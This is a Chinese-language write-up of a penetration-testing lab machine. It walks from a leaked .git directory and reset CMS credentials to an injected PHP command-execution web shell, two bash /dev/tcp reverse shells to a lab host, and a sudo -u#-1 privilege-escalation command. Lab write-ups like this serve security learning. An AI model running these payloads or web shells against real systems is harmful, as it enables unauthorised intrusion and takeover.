靶场说明
此靶场对于有一定渗透经验的人来说算是一个比较简单的靶场,但对我来说简直了。
信息收集
配置好靶场之后,先来扫一波端口,发现就开了22和80两个端口,端口方面没有什么提示就只能从80端口的web页面入手了,打开页面是个看起来很复杂的网页。
开始渗透
对于web页面进行一波扫描发现了.git文件,这在CTF中算是一个比较有名的漏洞类型了,这类漏洞一般可以把网站文件泄露,这就给我们了一个渗透的突破点,
利用githack的python脚本直接梭哈了靶机的web文件,翻过之后我们找到了一个数据库的用户名和密码,
在administer.php处登录之后就可以访问数据库了,找到敏感信息
这里密码的加密方式为加盐之后的md5,所以我们在修改密码时也需要进行加盐,
$2y$10$8IvBT8bcqlSBzwzETS3EE.0FCKfGUHmjKKRyd65v8AOob9ow5yKbG
以上密码为对123456加盐之后的密文,将其与password和persist_code进行替换
此时我们想当与已经得到一个用户的用户名和密码所以我们需要再找一下登录页面,由于我的扫描字典有限,所以就嫖了别人的博客的到登录页面为
http://192.168.10.9/backend/backend/auth/signin
用户名为:frank
密码为:123456
在登入之后,发现cms有点意思,能够命令执行(这要是能交cnvd直接就高危了),
然后我们尝试修改源码(能够执行命令的那种),这里附上源码
function onStart()
{
$this->page["wdnmd"] = system($_GET['cmd']);
}
再在markup中添加一下源码进行调用
{{ this.page.wdnmd }}
然后访问最开始的页面你会发现正常访问会访问不了,然后在URL上添加参数来执行命令,
然后将原本的命令改为能弹shell的那种(能做坏事的那种),附上源码
function onStart()
{
$this->page["Harveysn0w"] = system('bash -c \'exec bash -i &>/dev/tcp/192.168.10.110/7777 <&1\'');
}
监听端口,连接上了,很快啊,
到这里我们算是得到了第一个shell,然而这才是开始,我自己在这里实在没什么头绪就去借鉴了别人的博客(读书人的话怎么能叫偷呢),发现在/var/backups文件夹里有一个app.ini.bak的文件,cat一波发现了其他用户的用户名和密码,
然后登入数据库,
再次找到frank用户
这次扔需要我们修改密码,但我在这里实在头大所以就直接放出123456加密后的密文了
4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a89578a0e42cca143775d8cb
然后访问8585端口(别问怎么知道的,问就是窃的),利用frank用户登入
然后会发现在
这里能够写shell,所以当然是弹一波shell了,附上源码
bash -c 'exec bash -i &>/dev/tcp/192.168.10.110/7777 <&1'
然后在再remade上边随便加点什么都可以保存之后访问remade就可谈shell了
然后,拿到shell的第一件事当然是查看权限了,
然后发现我们在这个文件下具有root的权限所以提权的点就在这里了,这里我在看过之后发现为一个2020年的有关sudo的cve,大概是利用参数的混合进行提权,算是一个比较经典的cve了,这里我就不多说了,所以直接上提权语句
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'